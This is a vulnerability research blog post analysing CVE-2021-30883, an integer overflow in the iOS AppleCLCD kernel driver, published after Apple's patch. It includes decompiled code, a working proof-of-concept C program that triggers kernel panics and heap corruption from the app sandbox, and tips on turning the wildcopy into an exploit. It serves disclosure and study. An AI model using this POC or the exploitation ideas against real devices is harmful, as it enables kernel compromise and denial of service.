Original text by saaramar

In the last iOS security update (15.0.2) Apple fixed a vulnerability in IOMobileFrameBuffer/AppleCLCD, which they specified was exploited in the wild (CVE-2021-30883). This attack surface is highly interesting because it’s accessible from the app sandbox (so it’s great for jailbreaks) and many other processes, making it a good candidate for LPEs exploits in chains (WebContent, etc.).

Therefore, I decided to take a quick look, bindiff the patch, and identify the root cause of the bug. After bindiffing and reversing, I saw that the bug is great, and I decided to write this short blogpost, which I hope you’ll find helpful. I really want to publish my bindiff findings as close to the patch release as possible, so there will be no full exploit here; However, I did manage to build a really nice and stable POC that results in a great panic at the end 🙂

Sorry in advance for any English mistakes, I prioritized time over grammar (good thing we have automatic spell checkers:P ).

First thing first, let’s view the patched function(s) to understand the bug. Before the patch, there were some different instances of a size calculation without checks for intgerer overflow, in different flows of new_from_data. These functions attempt to allocate a buffer that is used to store a table content sent by the user.

Let’s take for example IOMFB::TableCompensator::BilerpGainTable::new_from_data. Before the patch, the function looks as follows:

__int64 __fastcall IOMFB::TableCompensator::BilerpGainTable::new_from_data(__int64 a1, __int64 a2, int a3, __int64 *a4, _QWORD *a5, int a6)
{
  __int64 v_obj; // x19
  __int64 v13; // x8
  __int64 v14; // x22
  int v15; // w8
  unsigned int v16; // w23
  __int64 v17; // x0
  __int64 v18; // x8
  __int64 v_idx; // x22

  v_obj = operator new(0x60LL);
  *(_BYTE *)(v_obj + 0x30) = 0;
  *(_QWORD *)v_obj = off_FFFFFFF0078EF1D8;
  *(_QWORD *)(v_obj + 0x58) = 0LL;
  *(_DWORD *)(v_obj + 0x50) = a6;
  *(_DWORD *)(v_obj + 0x54) = 0;
  v13 = *a4;
  *(_QWORD *)(v_obj + 0x38) = 0LL;
  *(_QWORD *)(v_obj + 0x40) = v13;
  *(_QWORD *)(v_obj + 0x48) = *a5;
  *(_DWORD *)(v_obj + 0x10) = a3;
  v14 = *(unsigned int *)(a1 + 0x140);
  *(_DWORD *)(v_obj + 32) = v14;
  if ( a3 )
    v15 = a3;
  else
    v15 = 1;
  v16 = v15 * v14;
  v_chunk = kalloc_ext((unsigned int)(12 * v15 * v14 + 4 * (v14 + a3))); // <-- WOW!
  *(_QWORD *)(v_obj + 40) = v_chunk;
  v18 = v_chunk + 12LL * v16;
  *(_QWORD *)(v_obj + 24) = v18;
  *(_QWORD *)(v_obj + 8) = v18 + 4 * v14;
  if ( a3 )
  {
    v_idx = 0LL;
    while ( IOMFB::TableCompensator::BilerpGainTable::set_table(v_obj, v_idx, a1, a2) & 1 )
    {
      v_idx = (unsigned int)(v_idx + 1);
      if ( (unsigned int)v_idx >= *(_DWORD *)(v_obj + 16) )
        return v_obj;
    }
    (*(void (__fastcall **)(__int64))(*(_QWORD *)v_obj + 8LL))(v_obj);
    v_obj = 0LL;
  }
  return v_obj;
}

Every time we see integer calculation, we need to be careful and verify the calculation can’t overflow or underflow. In our case, there are no such checks in this function or in the callstack that leads to this function. And, most importantly, most of the operands are fully controlled 32-bit by the caller from EL0. Which means that we have here a classic integer overflow. Oh, and the calculation is done in 32-bit, not 64-bit, which is a nice bonus. This is the actual code:

FFFFFFF0098EF290 29 17 9F 1A CSINC           W9, W25, WZR, NE
FFFFFFF0098EF294 09 7D 09 1B MUL             W9, W8, W9
FFFFFFF0098EF298 96 01 80 52 MOV             W22, #0xC
FFFFFFF0098EF29C 29 7D 16 1B MUL             W9, W9, W22
FFFFFFF0098EF2A0 08 01 19 0B ADD             W8, W8, W25
FFFFFFF0098EF2A4 20 09 08 0B ADD             W0, W9, W8,LSL#2
FFFFFFF0098EF2A8 13 83 9D 97 BL              kalloc_ext

The patch fixed this issue (promoted to 64 bit arithmetics, upper limits checks, etc.), and along the way, added a NULL-check.

POC

As always, we can’t say that we have a bug until we build a POC and trigger a good panic. We can see that the bug resides in AppleMobileDispH12P, which is accessible from AppleCLCD. After some reversing and a basic understanding of the flow, we see that this function is accessible from external method 78. This flow is accessible directly from the app sandbox. Unlike the previous in-the-wild vulnerability in IOMFB/AppleCLCD (read this), no special entitlements are required. You can just create an iOS app with my POC, run it on the device and trigger the bug.

Great, let’s find a flow to these functions. I chose to target IOMFB::TableCompensator::BilerpGainTable::new_from_data. As I said, after some reversing, I saw there is a flow from IOMobileFramebufferUserClient::s_set_block (method number 78 of AppleCLCD). This function is pretty straightforward: it calls different functions based on the first scalar argument, which may keep processing user input that contains more “actions IDs / selectors” used in some additional switch statements.

I won’t bother you with the details, but in order to trigger IOMFB::TableCompensator::BilerpGainTable::new_from_data I just needed to set the first and second scalars to 0, and the first 32 bit value in the structureInput to 3. Then, to verify my reversing, I set 0x41s in the rest of the structureInput buffer. By setting a breakpoint on 0xFFFFFFF0098EF290 in the upper code snippet, we can see X5, X8, X20, X22 and X25 are fully controlled 32-bit integers, extracted from the structureInput. Amazing! Here is a dump of the general purpose registers at 0xFFFFFFF0098EF290:

(lldb) reg read
General Purpose Registers:        
        x0 = 0xffffffe4cb6d95c0
        x1 = 0x0000000000000060
        x2 = 0x0000000000000040
        x3 = 0x0000000000000060
        x4 = 0x0000000000000000
        x5 = 0x0000000041414141 // <-- controlled
        x6 = 0xfffffff00991adac
        x7 = 0x0000000000006eb1
        x8 = 0x0000000041414141 // <-- controlled
        x9 = 0x000000000000003a
       x10 = 0xffffffe802080000
       x11 = 0x3ffffff932db603a
       x12 = 0x0000000000000000
       x13 = 0x00000000000001dc
       x14 = 0x0000000000004cb0
       x15 = 0x0000000000008001
       x16 = 0xffbee3f007a542d8
       x17 = 0x182effe4cb6d95c0
       x18 = 0x0000000000000000
       x19 = 0xffffffe4cb6d95c0
       x20 = 0x0000000041414141 // <-- controlled
       x21 = 0xffffffe4cd563100
       x22 = 0x0000000041414141 // <-- controlled
       x23 = 0xffffffe4cd5630f4
       x24 = 0xffffffe4cd5630ec
       x25 = 0x0000000041414141 // <-- controlled
       x26 = 0x0000000000000000
       x27 = 0xffffffe818743648
       x28 = 0xffffffe199b91608
       x29 = 0xffffffe8187434b0
       x30 = 0xfffffff0098ef23c
        sp = 0xffffffe818743470
        pc = 0xfffffff0098ef290
      cpsr = 0x20400204

And from here, we clearly panic.

So, we have a 32-bit integer overflow in a calculation of size! This size is passed to kalloc_ext, which means we can trigger memory corruption, and even control the zone (up to minor restrictions from the calculation). In many cases, such bugs lead to wildcopy, which makes the exploit much more fun for us (onetwo). Let’s dig in and see what’s going on in our case.

So, I built the following POC, which triggered a panic on the iOS versions I tried (I tested 14.7.1 and 15.0, but the bug is probably older than that).

POC:

io_connect_t get_iomfb_uc(void) {
    kern_return_t ret;
    io_connect_t shared_user_client_conn = MACH_PORT_NULL;
    int type = 0;
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
                                                       IOServiceMatching("AppleCLCD"));
    
    if(service == MACH_PORT_NULL) {
        printf("[-] failed to open service\n");
        return MACH_PORT_NULL;
    }
    
    printf("[*] AppleCLCD service: 0x%x\n", service);

    ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
    if(ret != KERN_SUCCESS) {
        printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
        return MACH_PORT_NULL;
    }
    
    printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
    
    return shared_user_client_conn;
}

void do_trigger(io_connect_t iomfb_uc) {
    kern_return_t ret;
    size_t input_size = 0x180;
    
    uint64_t scalars[2] = { 0 };

    char *input = (char*)malloc(input_size);
    if (input == NULL) {
        perror("malloc input");
        return;
    }
    
    memset(input, 0x41, input_size);
    *(int*)input = 0x3;
    
    ret = IOConnectCallMethod(iomfb_uc, 78,
                        scalars, 2,
                        input, input_size,
                        NULL, NULL,
                        NULL, NULL);
    
    if (ret != KERN_SUCCESS) {
        printf("s_set_block failed, ret == 0x%x --> %s\n", ret, mach_error_string(ret));
    } else {
        printf("success!\n");
    }
    
    free(input);
}



void poc(void) {
    io_connect_t iomfb_uc = get_iomfb_uc();
    if (iomfb_uc == MACH_PORT_NULL) {
       return;
    }
    
    do_trigger(iomfb_uc);
    
    IOServiceClose(iomfb_uc);
}

And, the panic (from my physical iPhone X, iOS 14.7.1, 18G82):

"build" : "iPhone OS 14.7.1 (18G82)",
  "product" : "iPhone10,3",
...
  "panicString" : "panic(cpu 5 caller 0xfffffff016de32d4): Kernel data abort. at pc 0xfffffff0172c4244, lr 0xfffffff0172c41b8 (saved state: 0xffffffe815d13110)
	  
x0: 0xffffffe4ccd0a7c0  
x1:  0x0000000000000000  
x2:  0xffffffe4cd267700  
x3:  0x0000000041414141
x4: 0x0000000000001804
x5:  0x0000000000000034
x6:  0xfffffff0172e6664
x7:  0x0000000000000000
x8: 0x0000000283b0de0c
x9:  0x0000000388b5e310
x10: 0x0000000041414141
x11: 0x0000000000000000
x12: 0x0000000000000000
x13: 0x0000000000000046
x14: 0xfffffff0172a0ac0
x15: 0xfffffff017310ed0
x16: 0x0000000000000001 
x17: 0x0000000000000002  
x18: 0xfffffff016dd1000  
x19: 0xffffffe4ccd0a7c0
x20: 0x0000000041414141 
x21: 0xffffffe4cd267700  
x22: 0x0000000000000000  
x23: 0x0000000035a41281
x24: 0x000000000000000c 
x25: 0x0000000041414141  
x26: 0xffffffe815d13638  
x27: 0xffffffe4cd3d45b4
x28: 0xffffffe19a0d1478 
fp:  0xffffffe815d134a0  
lr:  0xfffffff0172c41b8
sp:  0xffffffe815d13460
pc:  0xfffffff0172c4244
cpsr: 0x60400204
esr: 0x96000046
far: 0x0000000388b5e310

...
Kernel slide:      0x000000000ece0000
Kernel text base:  0xfffffff015ce4000

And, if we’ll look at 0xfffffff0172c4244-0x000000000ece0000 in the kernelcache of my physical device:

com.apple.driver.AppleMobileDispH10P:__text:FFFFFFF0085E4244                 STR             W3, [X9,W1,UXTW#2]

Ok, that’s interesting. We got a panic because we tried to write our controlled value (0x41414141) to the virtual address 0x0000000388b5e310 (which clearly isn’t a valid kernel address). Actually, this value makes me suspect it results from an allocation failure: kalloc_ext returned NULL (note there is no check for that in the code), and the new_from_data function just added an offset to the newly allocated chunk (which, again, is 0x0). Let’s see this happens:

The faulted instruction is in the function IOMFB::TableCompensator::BilerpGainTable::set_table, which, as we saw in the first code snippet, is called from IOMFB::TableCompensator::BilerpGainTable::new_from_data. Let’s see what set_table does:

__int64 __fastcall IOMFB::TableCompensator::BilerpGainTable::set_table(__int64 obj, unsigned int idx, __int64 a3, int a4)
{
  int v4; // w10
  __int64 v5; // x9
  __int64 v6; // x8
  __int64 v7; // x11
  unsigned __int64 v9; // x9
  _DWORD *v10; // x10
  _DWORD *v11; // x11

  if ( *(_DWORD *)(obj + 0x10) <= idx )
    return 0LL;
  v4 = *(_DWORD *)(obj + 0x20);
  if ( *(_DWORD *)(a3 + 0x140) != v4 )
    return 0LL;
  v5 = *(_QWORD *)(obj + 8);
  v6 = *(_QWORD *)(obj + 0x18);
  v7 = *(_QWORD *)(obj + 0x28);
  if ( idx )
  {
    if ( *(_DWORD *)(v5 + 4LL * (idx - 1)) > a4 )
      return 0LL;
  }
  *(_DWORD *)(v5 + 4LL * idx) = a4;             // panic here
  if ( *(_DWORD *)(obj + 32) )
  {
    v9 = 0LL;
    v10 = (_DWORD *)(v7 + 12LL * v4 * idx);
    v11 = (_DWORD *)(a3 + 8);
    do
    {
      *(_DWORD *)(v6 + 4 * v9) = *(v11 - 2);
...

Now, the address being dereferenced is *(X0+8), which is, as we saw before, the allocation with an offset (keep in mind, the operands here are controlled, and in the case of my POC, are huge):

v_chunk = kalloc_ext((unsigned int)(12 * v15 * v14 + 4 * (v14 + a3)));
  *(_QWORD *)(v_obj + 40) = v_chunk;
  v18 = v_chunk + 12LL * v16;
  *(_QWORD *)(v_obj + 24) = v18;
  *(_QWORD *)(v_obj + 8) = v18 + 4 * v14;

And the actual code:

FFFFFFF0098EF290 29 17 9F 1A CSINC           W9, W25, WZR, NE
FFFFFFF0098EF294 09 7D 09 1B MUL             W9, W8, W9
FFFFFFF0098EF298 96 01 80 52 MOV             W22, #0xC
FFFFFFF0098EF29C 29 7D 16 1B MUL             W9, W9, W22
FFFFFFF0098EF2A0 08 01 19 0B ADD             W8, W8, W25
FFFFFFF0098EF2A4 20 09 08 0B ADD             W0, W9, W8,LSL#2
FFFFFFF0098EF2A8 13 83 9D 97 BL              kalloc_ext            <-- allocation
FFFFFFF0098EF2AC 60 16 00 F9 STR             X0, [X19,#0x28]
FFFFFFF0098EF2B0 68 22 40 B9 LDR             W8, [X19,#0x20]
FFFFFFF0098EF2B4 69 12 40 B9 LDR             W9, [X19,#0x10]
FFFFFFF0098EF2B8 3F 01 00 71 CMP             W9, #0
FFFFFFF0098EF2BC 2A 15 9F 1A CSINC           W10, W9, WZR, NE
FFFFFFF0098EF2C0 4A 7D 08 1B MUL             W10, W10, W8
FFFFFFF0098EF2C4 4A 01 B6 9B UMADDL          X10, W10, W22, X0
FFFFFFF0098EF2C8 6A 0E 00 F9 STR             X10, [X19,#0x18]
FFFFFFF0098EF2CC 48 09 08 8B ADD             X8, X10, X8,LSL#2
FFFFFFF0098EF2D0 68 06 00 F9 STR             X8, [X19,#8]          <-- X8 is the faulted addr

And, at 0xFFFFFFF0098EF2AC (where X0 is the return value of kalloc_ext):

Process 1 stopped
* thread #1, stop reason = breakpoint 1.1
    frame #0: 0xfffffff0098ef2ac
->  0xfffffff0098ef2ac: str    x0, [x19, #0x28]          <-- X0 is kalloc_ext()'s return value
    0xfffffff0098ef2b0: ldr    w8, [x19, #0x20]
    0xfffffff0098ef2b4: ldr    w9, [x19, #0x10]
    0xfffffff0098ef2b8: cmp    w9, #0x0                  ; =0x0 
Target 0: (No executable module.) stopped.
(lldb) reg read x0
      x0 = 0x0000000000000000

Fantastic! This explains everything. Just as I suspected, the previous dereference was actually a NULL+offset, due to an allocation failure. So, for exploitation, we simply need to choose different operands that will overflow to a relatively smaller number. This would make the allocation succeed, and we could start corrupting (a lot of) memory.

The POC works on iOS 15.0 with the exact same panic as well (tested on a virtual iPhone 11 Pro, iOS 15.0):

image

An interesting important note is that other implementations of these functions in other classes also had this integer overflow. As far as I can see, the patch fixed these as well. This is not a surprise, because usually when we see a code pattern repeats itself, it’s an inline function / macro / etc.

Exploitation

I just bindiffed the bug, so there will be no full exploit in this blogpost; However, we can still discuss the exploitation of wildcopies in general and improve the POC to set the ground for exploitation 🙂 But before we start talking about wildcopies, let me just share some POCs that give us better control on the flow and trigger a good panic.

Control the operands

First, let set arbitrary values in the offsets the operands are taken from (instead of setting 0x41s in the entire input). Nothing exciting here; it’s just reversing of the caller function of IOMFB::TableCompensator::BilerpGainTable::new_from_data. The updated part in the POC:

...
    memset(input, 0x0, input_size);
    int *pArr = (int*)input;

    pArr[0] = 0x3;          // sub-sub selector
    pArr[1] = 0xffffffff;   // has to be non-zero
    pArr[2] = 0x41414141;
    pArr[3] = 0x42424242;
    pArr[8] = 0x43434343;
    pArr[89] = 0x44444444;
    
    ret = IOConnectCallMethod(iomfb_uc, 78,
                        scalars, 2,
                        input, input_size,
                        NULL, NULL,
                        NULL, NULL);
...

Which gives the following registers (for the same stub as above, virtual iPhone 11 Pro, iOS 14.7.1):

`
(lldb) reg read
General Purpose Registers:
        x0 = 0xffffffe4cbaa4420
        x1 = 0x0000000000000060
        x2 = 0x0000000000000020
        x3 = 0x0000000000000060
        x4 = 0x0000000000000000
        x5 = 0x0000000043434343 // <-- controlled
        x6 = 0xfffffff00991adac
        x7 = 0x0000000000006eb1
        x8 = 0x0000000044444444 // <-- controlled
        x9 = 0x000000000000000b
       x10 = 0xffffffe802224000
       x11 = 0x3ffffff932ea900b
       x12 = 0x0000000000000000
       x13 = 0x00000000000001dc
       x14 = 0x0000000000003320
       x15 = 0x0000000000008001
       x16 = 0xffbd7ff007a542d8
       x17 = 0x182effe4cbaa4420
       x18 = 0x0000000000000000
       x19 = 0xffffffe4cbaa4420
       x20 = 0x0000000042424242 // <-- controlled
       x21 = 0xffffffe4ccf02b00
       x22 = 0x0000000043434343 // <-- controlled
       x23 = 0xffffffe4ccf02af4
       x24 = 0xffffffe4ccf02aec
       x25 = 0x0000000041414141 // <-- controlled
       x26 = 0x0000000000000000
       x27 = 0xffffffe81869b648
       x28 = 0xffffffe199dd5608
       x29 = 0xffffffe81869b4b0
       x30 = 0xfffffff0098ef23c
        sp = 0xffffffe81869b470
        pc = 0xfffffff0098ef290
      cpsr = 0x20400204

Better panic, i.e. — NOT a (NULL+offset) dereference

Now, first thing I would like to do is to get a better panic: i.e a panic that indicates we can corrupt memory in a good way (well, for us). Bad dereference of NULL+offset (with small and limited offset) is just a DOS, which isn’t good enough for us (it’s not a security issue). So, if we’ll just adjust my POC to look as follows:

 memset(input, 0x41, input_size);
    int *pArr = (int*)input;

    pArr[0] = 0x3;          // sub-sub selector
    pArr[1] = 0xffffffff;   // has to be non-zero
    pArr[2] = 0x10008;
    pArr[3] = 0x424242;
    pArr[8] = 0x434343;
    pArr[89] = 0x444444;

We got a better panic (again, my physical iPhone X, iOS 14.7.1, 18G82):

  "build" : "iPhone OS 14.7.1 (18G82)",
  "product" : "iPhone10,3",
...
  "panicString" : "panic(cpu 5 caller 0xfffffff02747b2d4): Kernel data abort. at pc 0xfffffff02795c244, lr 0xfffffff02795c1b8 (saved state: 0xffffffe8042f3110)
	  x0: 0xffffffe4cb295da0  x1:  0x0000000000000000  x2:  0xffffffe4cd4d4700  x3:  0x0000000000424242
	  x4: 0xffffffe8042f32c0  x5:  0xffffffe8042f32bc  x6:  0x0000000000000001  x7:  0x0000000000000009
	  x8: 0xffffffec51659980  x9:  0xffffffec5276aa90  x10: 0x0000000000444444  x11: 0xffffffe9049c0000
	  x12: 0x00000000004a0000 x13: 0x00000000ffdfffff  x14: 0xfffffff028729000  x15: 0xaaaaaaaaaaaaaaab
	  x16: 0x0000002000000000 x17: 0xfffffff028729940  x18: 0xfffffff027469000  x19: 0xffffffe4cb295da0
	  x20: 0x0000000000424242 x21: 0xffffffe4cd4d4700  x22: 0x0000000000000000  x23: 0x0000000046662220
	  x24: 0x000000000000000c x25: 0x0000000000010008  x26: 0xffffffe8042f3638  x27: 0xffffffe4cd51df44
	  x28: 0xffffffe199c1d478 fp:  0xffffffe8042f34a0  lr:  0xfffffff02795c1b8  sp:  0xffffffe8042f3460
	  pc:  0xfffffff02795c244 cpsr: 0x60400204         esr: 0x96000046          far: 0xffffffec5276aa90
...
Kernel slide:      0x000000001f378000
Kernel text base:  0xfffffff02637c000

Much better. Note that PC is the same as before (0xfffffff02795c244-0x000000001f378000==0xFFFFFFF0085E4244), but this time the dst base address is X9=0xffffffec5276aa90. We still crash on the first index of the loop (X1=0), becasue the offset was too large. That’s because we didn’t choose the other arbitrary values wisely. Let’s fix that.

Better panic — a POC of a classic wildcopy

So everything is great, and we understand exactly what’s going on. But that’s still not enough. We need to get a good panic that indicates we corrupted arbitrary memory (which we could control via shaping, etc.). Panic on a write to an unmapped page is a good first step, but there is more work to do. Because it looks like we are going here into a wildcopy situation, let’s choose good arguments such that:

  • we get a “sane” allocation size (although it may still be pretty high)
  • we get a sane offset from the allocation
  • we start corrupt memory and crash on an unmapped page after a while (i.e., we successfully corrupted some memory before the panic)

This might be a good POC for the wildcopy. And then, we just need to figure out how to stop the wildcopy and exploit the corruption (see next section).

So, in this new POC, the allocation size is still very large, but the allocation does succeed:

  memset(input, 0x41, input_size);
    int *pArr = (int*)input;

    pArr[0] = 0x3;          // sub-sub selector
    pArr[1] = 0xffffffff;   // has to be non-zero
    pArr[2] = 0x10008;
    pArr[3] = 0x424242;
    pArr[8] = 0x434343;
    pArr[89] = 0x10008;

And the panic:

  "build" : "iPhone OS 14.7.1 (18G82)",
  "product" : "iPhone10,3",
...
  "panicString" : "panic(cpu 5 caller 0xfffffff02585b2d4): Kernel data abort. at pc 0xfffffff025d3c270, lr 0xfffffff025d3c1b8 (saved state: 0xffffffe816513110)
	  x0: 0xffffffe4cc8dfcc0  x1:  0x0000000000000010  x2:  0xffffffe4cd012e00  x3:  0x0000000000424242
	  x4: 0xffffffe8165132c0  x5:  0xffffffe8165132bc  x6:  0x0000000000000001  x7:  0x0000000000000009
	  x8: 0xffffffe904720300  x9:  0x000000000000af80  x10: 0xffffffe9047a4000  x11: 0xffffffe4cd0c2608
	  x12: 0x0000000063736944 x13: 0x00000000ffdfffff  x14: 0xffffffe8044e8000  x15: 0xaaaaaaaaaaaaaaab
	  x16: 0x0000002000000000 x17: 0xfffffff026b09940  x18: 0xfffffff025849000  x19: 0xffffffe4cc8dfcc0
	  x20: 0x0000000000424242 x21: 0xffffffe4cd012e00  x22: 0x0000000000000010  x23: 0x0000000000100040
	  x24: 0x000000000000000c x25: 0x0000000000010008  x26: 0xffffffe816513638  x27: 0xffffffe4cd0f38d4
	  x28: 0xffffffe199edd478 fp:  0xffffffe8165134a0  lr:  0xfffffff025d3c1b8  sp:  0xffffffe816513460
	  pc:  0xfffffff025d3c270 cpsr: 0x80400204         esr: 0x96000047          far: 0xffffffe9047a4000
...
Kernel slide:      0x000000001d758000
Kernel text base:  0xfffffff02475c000

Oh, new instruction! Actually, not that far from the one in our last panic. We crash in a loop (in IOMFB::TableCompensator::BilerpGainTable::set_table). The address is 0xfffffff025d3c270-0x000000001d758000=0xfffffff0085e4270. The loop is as follows (from iPhone X, iOS 14.7.1):

FFFFFFF0085E4264
FFFFFFF0085E4264 loop
FFFFFFF0085E4264 LDUR            W12, [X11,#-8]
FFFFFFF0085E4268 STR             W12, [X8,X9,LSL#2]
FFFFFFF0085E426C LDUR            W12, [X11,#-4]
FFFFFFF0085E4270 STR             W12, [X10]           <-- panic here
FFFFFFF0085E4274 LDR             W12, [X11]
FFFFFFF0085E4278 STR             W12, [X10,#4]
FFFFFFF0085E427C LDR             W12, [X11,#4]
FFFFFFF0085E4280 STR             W12, [X10,#8]
FFFFFFF0085E4284 ADD             X9, X9, #1           <-- inc index
FFFFFFF0085E4288 LDR             W12, [X0,#0x20]
FFFFFFF0085E428C ADD             X11, X11, #0x10
FFFFFFF0085E4290 ADD             X10, X10, #0xC
FFFFFFF0085E4294 CMP             X9, X12              <-- cmp index to cnt
FFFFFFF0085E4298 B.CC            loop

And we can see two important points about this crash:

  • X9 (the counter in the loop) is 0xaf90 (and this loop was called a lot of times before).
  • X10, the address being dereferenced, is paged aligned — 0xffffffe9047a4000. Which means we reached to a non-mapped area.

This is pretty much what I would expect from a classic wildcopy crash (without proper shape && exploit, of course 🙂 ).

Wildcopy exploitation

Now, let’s get to the interesting part: stopping the wildcopy. As I said in my previous exploits, there are different approaches we can take here. Let’s view some examples:

  1. Relying on a race condition – shape the heap and trigger the wildcopy so it will corrupt some useful target structure(s), and race a different thread to use that corrupted structure to do something before the wildcopy crashes us (e.g., construct other primitives, terminate the wildcopy, etc.). A nice example could be found here.
  2. If the wildcopy loop/mechaism has some logic that can stop the loop under certain conditions, we can take advantage of these checks and break the wildcopy after it corrupted the data/structure we want to corrupt. This is exactly the approach I took in my WSL exploit. This technique could be achieved using many different approaches, such as:
    • If there is a double fetch from a memory that shouldn’t change, or that could be changed, but there are checks in place (so there is no security issue due to the existence of the double fetch, but the logic indeed double fetch), we can take advantage of this double fetch and break the loop. Keep in mind that we do not care if the functionality will result in an error, as long this happens after we corrupted our desired target structure.
  3. If the wildcopy loop has a call to a virtual function on every iteration, and that function pointer is stored in a structure on the heap (or at other memory address we can corrupt during the wildcopy), the exploit can use the loop to overwrite and divert execution during the wildcopy.

In our particular case, I saw some checks based on values the logic reads from memory (for instance, check out the branch right before the first panic we got in IOMFB::TableCompensator::BilerpGainTable::set_table). Keep in mind that as long as set_table returns value != 0, the loop in new_from_data keeps running (i.e. the wildcopy keeps running). You can take a look again at the decompile code at the beginning of this blogpost. So any branch that returns 0 from set_table is good for us to stop the wildcopy. Keep this in mind for later; that’s important!

Another important point: some of the values that set_table fetches from memory would be OOB: remember, we allocated a very small chunk of memory (the size just wrapped around 32 bit), and we treat it as >4GB.

So, what I would like to do, is to change one of the checked values at some point (after some data has been corrupted, of course) and stop the copying. There are many ways to do that, but I think one of the simplest ways is to shape the kernel heap such that the vulnerable chunk will be allocated before a shared memory, which we could change from EL0 at arbitrary times. Again, the patch just got out, so I clearly didn’t test it out yet, but just an idea I found very useful in many similar cases.

Great panic!

So, as I said, we should build a good shape and use the conditional branches I mentioned to stop the wildcopy. These branches use values read from OOB, and we can shape the heap so we’ll read these values from a shared memory / controlled memory / etc. For concrete example, check out the WSL exploit I linked above.

The problem is that I want to publish this blogpost as close to the patch release as possible, so I won’t do that right now. Instead, I came up with a nice idea that happens to work VERY WELL (surprisingly). I tested it 5 times in a row on my physical device (iPhone X, iOS 14.7.1) and on the virtual device (iPhone 11 Pro, iOS 15.0), and it worked every time, the same way, on both devices. So, given it had a 100% success rate, and I always got the same panic I wanted, I’ll share it here as well 🙂

Before diving into the idea, let’s just keep in mind that new_from_data calls set_table in a loop, and if one of the calls to set_tablereturned 0, we bail out. In addition, set_table does some conditional branches at the beginning and only then starts the copying loop. And, if one of these conditional branches isn’t passed, set_table returns 0. If they all pass, the copying loop starts. You can clearly see that in the decompiled code at the beginning of this blogpost.

Therefore, the idea is simple: let’s choose numbers that give us the following properties:

  1. make the overflowed calculation to result in a small and common size (I picked 0x44)
  2. make the wildcopy to be built out of many loops, each copy a small number of bytes instead of a small number of loops, each copy a large number of bytes. This significantly increases the number of checks that could get us out of the wildcopy, and we could just hope that the random content from the heap will break us out of the copy (again, proper shaping will do this in the right way, but the patch got out 2 hours ago. So, let’s test it out :P).

As it turns out, this approach works “too well”, in the sense that in most cases, we get out of the coping loop way too early (i.e. we wrote a very little amount of bytes OOB the allocation), and, in a few cases, we get out of the function and stop before the corruption even starts (and then, nothing crashes). But after I ran my POC app a few times in a row, I got the good panic I aimed for! So, I just wrapped it up in a loop, and the good panic I aimed for happens all the time!

I also set a breakpoint in the “return 0” in set_table, and I see this happens. You can also use the debugger to see how many bytes have been corrupted exactly in each call to s_set_block.

Now, to the POC! By reversing and debugging, it’s easy to see that pArr[89] is the number of iterations of the copying loop in IOMFB::TableCompensator::BilerpGainTable::set_table. So, I chose numbers that give me this property of lots of iterations in new_from_data, each calls a small loop in set_table, and that the integer overflow results in 0x44. By changing the relevant part in the POC:

    // we control the content we are corrupting with
    memset(input, 0x41, input_size);
    int *pArr = (int*)input;

    pArr[0] = 0x3;          // sub-sub selector
    pArr[1] = 0xffffffff;   // has to be non-zero
    pArr[2] = 0x40000001;   // #iterations in the outer loop (new_from_data)
    pArr[3] = 2;
    pArr[8] = 2;
    pArr[89] = 4;           // #iterations in the inner loop (set_table)
    
    /* each call trigger a flow with a lot of calls to set_table(), while
       each set_table() flow will do a loop of only 4 iterations*/
    for (size_t i = 0; i < 0x10000; ++i) {
        ret = IOConnectCallMethod(iomfb_uc, 78,
                            scalars, 2,
                            input, input_size,
                            NULL, NULL,
                            NULL, NULL);
    }

And, the panic I’m always getting, on physical device iPhone X, 14.7.1 (it behaves exactly the same on virtual iPhone 11 Pro 14.7.1/15.0):

  "build" : "iPhone OS 14.7.1 (18G82)",
  "product" : "iPhone10,3",
...
  "panicString" : "panic(cpu 5 caller 0xfffffff01ad1d050): [kext.kalloc.80]: element modified after free (off:0, val:0x4141414141414141, sz:80, ptr:0xffffffe4cb9780f0, prot:zero)
    0: 0x4141414141414141
    8: 0x4141414141414141
...
Kernel slide:      0x0000000012c1c000
Kernel text base:  0xfffffff019c20000

Yes! Fantastic! The very same panic happens on the virtual iPhone 11 Pro, 15.0, 19A344:

panic(cpu 4 caller 0xfffffff0083441dc): [default.kalloc.80]: element modified after free (off:0, val:0x4141414141414141, sz:80, ptr:0xffffffe379503430)
    0: 0x4141414141414141
    8: 0x4141414141414141
Debugger message: panic
Device: D421
Hardware Model: iPhone12,3

I have to admit, seeing this trick works so well made me very happy 🙂

Sum up

I hope you enjoyed reading this blogpost and that I managed to shed some light on the last iOS update.

Also, as you saw, Corellium was a highly valuable asset in this short journey. The ability to debug the kernel that easily is fantastic, and it saved me a lot of time. And, the behavior on the virtual device, of course, reproduced exactly the same on the physical device, with 0 changes.

materials && versions

The POCs I have shown here work all the same on iOS 14.7.1-15.0.1. It’s probably true for much earlier versions as well, but I checked only on 14.7.1-15.0.1. Please note that over different devices/versions, some of the constants may be different. I specifically wrote the devices/versions I tested on, and it looks consistent, but it may be different on older versions. Just for fun, I checked it also on iPhone 11 Pro Max, iOS 15.0, and it worked the same 🙂

The code of the POC can be found in this repo.

Thanks,

Saar Amar.